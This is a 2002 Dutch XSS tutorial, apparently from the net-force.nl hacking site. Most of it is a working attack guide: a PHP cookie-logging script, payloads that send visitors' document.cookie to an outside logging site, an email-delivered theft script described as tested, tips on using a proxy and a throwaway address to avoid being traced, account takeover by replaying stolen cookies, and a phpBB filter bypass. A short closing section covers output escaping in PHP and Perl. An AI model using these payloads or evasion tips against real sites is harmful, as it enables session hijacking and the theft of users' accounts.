View text
| Info | |
|---|---|
| Author | BasTijs |
| Date added | 2002-10-03 |
| Last modified | 2002-10-03 |
Cross Site Scripting FAQ
De laatste tijd is er nogal wat te doen geweest over Cross Site Scripting ook
wel CSS of XSS genoemd. De ene zegt dat je er niks mee kan, de andere weer dat
het echt heel gevaarlijk is maar er wordt nergens uitgelegt wat je er nou
werkelijk mee kan. Omdat er behoefte was aan een goede FAQ over dit onderwerp
heb ik wat informatie verzameld over dit onderwerp. De informatie die ik verzamelt
heb is te vinden in deze tekst, ik ben niet verantwoordelijk voor de gevolgen als
je gebruik maakt van deze bug, want vele sites bevatten deze bug...
Meestal wordt er met CSS/XSS JavaScript, ActiveX of HTML 'geinjecteerd' om
informatie van de gebruikers of website te stelen. Dit kan zijn een
Cookie/Sessie ID waardoor het mogelijk wordt om de account van het slachtoffer
over te nemen.
Om de CSS/XSS bug beter uit te leggen neem ik een News script als voorbeeld.
Stel je klikt op het news script om een news bericht(ID) te bekijken. Je link
zal er ongeveer zo uit zien:
* http://www.host.nl/news.php?id=30
Je zult nu dus news bericht 30 voor je krijgen waarop je weer kan reageren. Het
script zal een 'id' nodig hebben om jou reactie bij het juiste bericht te kunnen
plaatsen. Het script zal dus in de HTML source een verborgen(hidden) veld(field)
hebben waar het id nummer staat. Dit zal er ongeveer zo uit zien:
* <input type="hidden" name="id" value="30">
Zoals je ziet plaatst het script de variable 'id' in een verborgen veld. Mocht de
schrijver van het script zijn vergeten om HTML te filteren dan is het mogelijk om
zelf JavaScript, VBScript, ActiveX, HTML, of Flash uit te voeren. Gebruiken we nu
30">HALLO als input voor de variable 'id' dus:
* http://www.host.nl/news.php?id=30">HALLO
dan zal op de news pagina de tekst 'HALLO' te lezen zijn, want het verborgen veld wordt
door "> afgesloten en HALLO wordt daarna als normale tekst om de pagina geplaatst.
Is dit mogelijk dan weten we dat we met een CSS/XSS bug te maken hebben, maar hoe
kunnen we hier gebruik van maken?
Ten eerste moeten we een log script schrijven, dat kan erg simpel met PHP.
log.php:
--------
<?
echo $log;
$log = $log . "\n";
$fp=fopen("file.txt","a+");
fputs($fp,$log);
fclose($fp);
?>
dit script schrijf de inhoud van de variable 'log' dus=> log.php?log=dezetekstisnugelogt
naar het bestand 'file.txt' in dezelfde directory. Zouden we dus nu de CSS/XSS bug in news.php
gebruiken om een cookie te stelen van de site dan doe je dat zo.
* http://www.host.nl/news.php?id="><script>document.location='http://www.onze-site.nl/log.php?log='%20+document.cookie</script>
dit zorgt ervoor dat als je deze pagina opent een javascript wordt gebruikt om je 'cookie'
naar www.onze-site.nl/log.php te sturen, voer je het news script dus uit dan zal je eigen
cookie naar log.php gestuurd worden en opgeslagen in file.txt!
Omdat we niks hebben aan ons eigen cookie moeten we een manier vinden om de cookies van
andere gebruikers te stelen.
Via email is het mogelijk om cookies te jatten met het script hieronder. Omdat javascript niet
goed reageert op '+' en '</script>' heb ik het script een beetje aangepast. Je zou hem ook in
voledig HEX kunnen schrijven. Dit script is getest en blijkt goed te werken...
<script>
var site = "http://www.host.nl/news.php?id=";
var bug = site + '<script>document.location="http://www.onze-site.nl/log.php?log="%2Bdocument.cookie</script';
var end = ">";
document.location = bug + end;
</script>
Dit is opzich de gevaarlijkste manier om de bug uit te voeren want zo heeft de gebruiker gelijk
je IP adres in de headers van de email. Gebruik je deze manier, stel dan eerst een proxy in
en registreer ergens een nieuw email adres.(niet je eigen email adres gebruiken :D )
Heel vaak kom je sites tegen waar in een gastenboek, forum of message systeem niet de HTML
gefiltert wordt...dit maakt het een stuk gemakkelijker om de cookies te stelen.
Het enigste wat je hoeft te doen is dit HTML script in je bericht stoppen:
* <script>document.location='http://www.onze-site.nl/log.php?log='%20+document.cookie</script>
wordt je bericht nu geopend dan zal je slachtoffer automatisch naar log.php gestuurd worden
en zijn cookie wordt dan dus opgeslagen in file.txt! Maar wat moet ik nou met zijn cookie doen?
Nu je zijn cookie gestolen hebt wordt het overnemen van zijn account erg simpel...
Er is een progamma met de naam 'Proxomitron' waarmee je de headers die je computer
verstuurd kan aanpassen, het is dus mogelijk om je cookie te veranderen met dit progamma.
Copy & Past je slachtoffer zijn cookie in het progamma en bezoek de site met de bug terwijl
Proxomitron aanstaat. De site zal jou nu zien als de gebruiker waarvan de cookie eigelijk
is.
Het gebruik van de CSS/XSS exploit hoeft niet op te vallen maar kan dus verborgen zijn in een
simpele link op een forum of gastenboek. Hierbij hoopt de aanvaller dat er geklikt wordt op zijn
link waardoor de gebruiker naar zijn site gelokt wordt. Is de gebruiker eenmaal op zijn site
dan kan de aanvaller allerlei zelf geschreven script loslaten op de gebruiker, terwijl de gebruiker
het heel vaak niet eens door heeft.
Ook is het mogelijk om doormiddel van ActiveX een CSS/XSS script uit te voeren. Hieronder
vind je een voorbeeld script waarmee het mogelijk was om een passport.com cookie uit te
lezen. Dit script maak gebruik van de <object> tags om bepaalde informatie op te slaan
van een gebruiker terwijl deze het niet in de gaten heeft. Het script werkte als het
uitgevoerd werd op Microsoft Internet Explorer, Microsoft Outlook of Microsoft Outlook Express.
<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href = "http://www.passport.com";
setTimeout("alert(ref.cookie)",5000);
</script>
Een ander praktijk voorbeeld zijn de CSS/XSS bugs in phpBB(een bekend forum).
Het probleem van phpBB zat hem in het filteren van de zogenaamde BBCode. De gebruiker kon
doormiddel van [img]http://www.site.nl/foto.img[/img] een foto plaatsen op het forum. In het
script ziet dat er ongeveer zo uit:
<img src="$user_input" border="0" />
Vervangen wij nu 'http://www.site.nl/foto.img' met 'javascript:alert('This Guestbook allows Cross Site Scripting');'
dan zal er dus javascript uitgevoerd kunnen worden op het forum:
[img]javascript:alert('This Guestbook allows Cross Site Scripting');[/img]
Toen deze fout aan het licht kwam heeft de phpBB crew dit opgelost met een
check of er http:// voorkomt in de '$user_input'. Zorgen wij nu dat er netjes
http:// voorkomt in onze string dat zal ons script als nog geplaatst worden.
Dit kan bijvoorbeeld op deze manier:
[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img]
Maar hoe bescherm ik mijn eigen website tegen CSS/XSS aanvallen? Het enigste wat je eigelijk
hoeft te doen is het fileteren van HTML. Filter dus elke variable die op de pagina geprint wordt.
In PHP kan je dit doen met de functie: htmlspecialchars()
In het news script zou je dus zo de variable 'id' moeten filteren:
* $id = htmlspecialchars($id);
Ok, nu hebben we het probleem opgelost voor PHP scripts, maar hoe beschremen we een Perl script?
We gaan uit van een simpel perl script dat de variable $text op je scherm print:
#!/usr/bin/perl
use CGI;
my $cgi = CGI->new();
my $text = $cgi->param('text');
print $cgi->header();
print "You entered $text";
Filteren we in dit script geen HTML dan is het dus mogelijk om gebruik te maken van de CSS/XSS
exploit door simpel je 'evil' script als input voor de variable $text te gebruiken. Nadat we
HTML gefilterd hebben zullen we geen last meer hebben van de CSS/XSS bug. Om HTML te filteren
maken we gebruik van de module HTML::Entities. Deze module gebruiken we op deze manier:
#!/usr/bin/perl
use CGI;
use HTML::Entities;
my $cgi = CGI->new();
my $text = $cgi->param('text');
print $cgi->header();
print "You entered ", HTML::Entities::encode($text);
Ik hoop dat ik je voldoende informatie gegeven heb over de Cross Site Scripting Exploit, hebt je nog
vragen dan kan je me altijd een emailtje sturen: bastijs AT net-force DOT nl
BasTijs
http://www.net-force.nl